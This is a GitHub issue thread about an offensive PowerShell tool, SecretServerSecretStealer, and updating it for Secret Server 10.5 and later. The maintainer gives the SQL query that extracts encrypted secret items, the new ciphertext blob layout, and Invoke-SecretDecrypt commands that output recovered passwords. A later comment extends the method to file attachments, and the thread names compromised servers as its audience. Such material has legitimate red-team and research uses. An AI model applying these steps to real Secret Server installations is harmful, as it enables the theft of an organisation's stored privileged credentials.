SecretServerSecretStealer icon indicating copy to clipboard operation
SecretServerSecretStealer copied to clipboard

Does not work with v10.5

Open huzzeytech opened this issue 6 years ago • 9 comments

huzzeytech avatar Oct 05 '18 15:10 huzzeytech

@denandz any chance of revisiting this tool for 10.5 compatibility?

d-miles avatar Aug 29 '19 15:08 d-miles

would love to see an update too. running this in a lab with version 10.7, here is the output:

VERBOSE: encryption.config key count: 3 VERBOSE: Got encryption.config key: key VERBOSE: Got encryption.config value: a13867e1bdcb9c24a6207161123d01a7 VERBOSE: Got encryption.config key: iv VERBOSE: Got encryption.config value: 0a815d06e749e0cc04255be3655f756a VERBOSE: Got encryption.config key: key256 VERBOSE: Got encryption.config value: 56989335f7c62ea6bc18be9e4cef46dd2fa086275e529be26469733772e00a14 Exception calling "TransformFinalBlock" with "3" argument(s): "The input data is not a complete block." At C:\temp\SecretStealer.ps1:168 char:13

  •         $intermediateKey = $cryptoTransform.TransformFinalBlock($ ...
    
  •         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : NotSpecified: (:) [], MethodInvocationException
    • FullyQualifiedErrorId : CryptographicException

Cannot index into a null array. At C:\temp\SecretStealer.ps1:169 char:13

  •         $intKeyString = [System.BitConverter]::ToString($intermed ...
    
  •         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : NullArray

ghost avatar Nov 25 '19 12:11 ghost

Getting the same with v10.8

Exception calling "TransformFinalBlock" - "The input data is not a complete block" Exception calling "CreateDecryptor" - "Value cannot be null" Cannot index into a null array

m3Ik0r avatar Jul 16 '20 09:07 m3Ik0r

Righto, looks like >v10.5 switched up the cipher text storage a bit and added HMACs plus some other stuff we can more or less ignore. The new structure stores the ciphertext/iv/mac data in a single blob, but the overall master->intermediate->item encryption flow is the same.

The following SQL will pull all the items:

select s.SecretName, f.SecretFieldName, s.[Key], i.ItemValue from tbSecretItem as i JOIN tbSecret as s ON (s.SecretID = i.SecretID) JOIN tbSecretField as f on (i.SecretFieldID = f.SecretFieldID)

The Key and ItemValue will look something like this:

0x03022F5B28A351A76E7E6A98878944EC28D53F756415A9A67BA3CE2525441D1FFC115BCBAB7E31471292A47466332677A1A7B29CE679C892496604E7F7DB40B6CB61C6C1D8D914B1814B4DDB356E6FE19ED8EECD9AAD490B97EF43F0DBB7FBBC2EE8

[0302][2F5B28A351A76E7E6A98878944EC28D5][3F756415A9A67BA3CE2525441D1FFC115BCBAB7E31471292A47466332677A1A7][B29CE679C892496604E7F7DB40B6CB61C6C1D8D914B1814B4DDB356E6FE19ED8EECD9AAD490B97EF43F0DBB7FBBC2EE8]

[Header 2 bytes][IV 16 bytes][MAC 32 bytes][Ciphertext n bytes]

This gives you all the data you need for Invoke-SecretDecrypt. Example below:

SQLCMD.EXE -d TSS -Q 'select s.SecretName, f.SecretFieldName, s.[Key], i.ItemValue from tbSecretItem as i JOIN tbSecret as s ON (s.SecretID = i.SecretID) JOIN tbSecretField as f on (i.SecretFieldID = f.SecretFieldID)' -W

SecretName SecretFieldName Key ItemValue
---------- --------------- --- ---------
password Password 0x03022F5B28A351A76E7E6A98878944EC28D53F756415A9A67BA3CE2525441D1FFC115BCBAB7E31471292A47466332677A1A7B29CE679C892496604E7F7DB40B6CB61C6C1D8D914B1814B4DDB356E6FE19ED8EECD9AAD490B97EF43F0DBB7FBBC2EE8 03022dcfd4b31359af5d664912bc42886ef6ca98a9c57efbe82ee2834099f842fd2646dd687187901601cb1baf2a3e5954f7d29c73e3dd865bd46333fe7ea0aabeee50570e0132257ac61e906eaeb373b765e510aefc9afa6fd6a5ebdae529a98cdf
... yoink ...

From the above we need to pull out the intermediate cipher text and IV (used to be called IVMek), which comes from Key, along with the Item cipher text and IV, which comes from ItemValue. Something like:

Key cipher text: B29CE679C892496604E7F7DB40B6CB61C6C1D8D914B1814B4DDB356E6FE19ED8EECD9AAD490B97EF43F0DBB7FBBC2EE8
Key IV: 2F5B28A351A76E7E6A98878944EC28D5
Item cipher text: d29c73e3dd865bd46333fe7ea0aabeee50570e0132257ac61e906eaeb373b765e510aefc9afa6fd6a5ebdae529a98cdf
Item IV: 2dcfd4b31359af5d664912bc42886ef6

Which can get fed to Invoke-SecretDecrypt:

PS C:\> $item = "03022dcfd4b31359af5d664912bc42886ef6ca98a9c57efbe82ee2834099f842fd2646dd687187901601cb1baf2a3e5954f7d29c73e3dd865bd46333fe7ea0aabeee50570e0132257ac61e906eaeb373b765e510aefc9afa6fd6a5ebdae529a98cdf"
PS C:\> $key = "03022F5B28A351A76E7E6A98878944EC28D53F756415A9A67BA3CE2525441D1FFC115BCBAB7E31471292A47466332677A1A7B29CE679C892496604E7F7DB40B6CB61C6C1D8D914B1814B4DDB356E6FE19ED8EECD9AAD490B97EF43F0DBB7FBBC2EE8"
PS C:\> Invoke-SecretDecrypt -EncryptionConfig C:\inetpub\wwwroot\SecretServer\encryption.config -NewFormat -Key $key.Substring(100) -IVMek $key.Substring(4, 32) -Item $item.Substring(100) -ItemIV $item.Substring(4, 32)
Decrypted: 3C2Bnewpassowrd122211
PS C:\> $key = "030253268D0E5EE5BD7DF3286B14FFC80E1B20B11CF9B5A222B479BAB6D486DD1936C1953E185FA9250E6498D5D9EB33FDB2170B71B472537EF2D0A74276FFC17036E9271494572A3BF01A9D84DCB9DBAAB9BDA384FE815334197750919069D7338B"
PS C:\> $item = "0302e168a8cdfc88463626eb27a7bb1b685c8a66565844974f41379100e5ec6839599f9f94a1f154e9e1cfa57ca9785a27565b70b785fde7448d0940f1ad6103138cbffb37ed797a7d2da07a5f963a5fa676b144912281eab6df06d5fbc74d9e7a5e"
PS C:\> Invoke-SecretDecrypt -EncryptionConfig C:\inetpub\wwwroot\SecretServer\encryption.config -NewFormat -Key $key.Substring(100) -IVMek $key.Substring(4, 32) -Item $item.Substring(100) -ItemIV $item.Substring(4, 32)
Decrypted: 1AE3E7zJj**l9**5
PS C:\>

The challenge here is now there are enough disparities between the various versions that for SecretServerSecretStealer (specifically Invoke-SecretStealer) to work nicely it would need to implement some form of version detection. I'm going to leave this issue open for now.

denandz avatar Jul 31 '20 04:07 denandz

Thanks @denandz! I was able to modify my module accordingly and all is well! Note in the two example decrypted passwords that the first 4 characters are not a part of the password -- I stripped these out in my own implementation.

I may provide a pull request -- however, my scenario is not so much compromising Secret Server as it is making a utility that can retrieve secrets from a free version of Secret Server (which doesn't have API access), so I'm not sure how useful it would be to an audience who is actually working with compromised servers ;)

d-miles avatar Aug 19 '20 13:08 d-miles

Thanks @denandz! I was able to modify my module accordingly and all is well! Note in the two example decrypted passwords that the first 4 characters are not a part of the password -- I stripped these out in my own implementation.

I may provide a pull request -- however, my scenario is not so much compromising Secret Server as it is making a utility that can retrieve secrets from a free version of Secret Server (which doesn't have API access), so I'm not sure how useful it would be to an audience who is actually working with compromised servers ;)

Those first two bytes are a version header. Checking the values and notifying when they aren't the expected value would probably be a good idea, might give an early indication of changes in later Secret Server versions?

denandz avatar Aug 19 '20 22:08 denandz

If you want to also decrypt file attachments, you can modify the query like this:

select s.SecretName, f.SecretFieldName, s.[Key], i.ItemValue, a.FileContents from tbSecretItem as i JOIN tbSecret as s ON (s.SecretID = i.SecretID) JOIN tbSecretField as f on (i.SecretFieldID = f.SecretFieldID) LEFT JOIN tbFileAttachment AS a on (i.FileAttachmentID = a.FileAttachmentID)

Then instead of decrypting the ItemValue field, use the FileContents field instead. You will want to omit unicode decoding from the Invoke-SecretDecrypt function and just dump to binary. Or alternatively if it is a plaintext file, replace [System.Text.Encoding]::Unicode.GetString with [System.Text.Encoding]::ASCII.GetString.

c3c avatar Jun 15 '23 10:06 c3c

might be reviving something already dead but by any chance anyone is aware of the changes on the 11+ version? things look similar but the KEY entry in the DB is always NULL. where did you reverse how these values were used? I might try to dig in a bit to see what changed.

fela15 avatar Sep 21 '23 18:09 fela15

might be reviving something already dead but by any chance anyone is aware of the changes on the 11+ version? things look similar but the KEY entry in the DB is always NULL. where did you reverse how these values were used? I might try to dig in a bit to see what changed.

They've likely switched up the key logic again. You'll need to dig into the application logic to figure out how its working in 11+. This might be useful: https://pulsesecurity.co.nz/articles/dotnet-dynamic-analysis

If you figure out the new logic, please feel free to drop it in here and we can figure out how to work it into SecretServerSecretStealer. Good luck!

denandz avatar Sep 22 '23 07:09 denandz